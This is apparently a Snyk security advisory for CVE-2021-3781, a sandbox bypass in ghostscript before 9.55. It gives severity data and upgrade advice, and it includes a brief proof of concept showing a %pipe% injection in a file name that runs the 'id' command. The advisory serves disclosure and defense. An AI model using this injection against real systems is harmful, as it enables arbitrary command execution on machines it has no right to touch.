Sandbox Bypass Affecting ghostscript package, versions [9.50,9.55)


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.49% (76th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-UNMANAGED-GHOSTSCRIPT-2407248
  • published20 Feb 2022
  • disclosed20 Feb 2022
  • creditUnknown

Introduced: 20 Feb 2022

CVE-2021-3781  (opens in a new tab)
CWE-265  (opens in a new tab)

How to fix?

Upgrade ghostscript to version 9.55 or higher.

Overview

Affected versions of this package are vulnerable to Sandbox Bypass via the -dSAFER flags by injecting a specially crafted pipe command, which allows a specially crafted document to execute arbitrary commands on the system in the context of the ghostscript interpreter.

PoC

# bin/gs -dSAFER
GPL Ghostscript GIT PRERELEASE 9.55.0 (2021-03-30) [...]
GS>(%pipe%/tmp/&id)(w)file
GS<1>sh: 1: /tmp/: Permission denied
uid=0(root) gid=0(root) groups=0(root)

CVSS Scores

version 3.1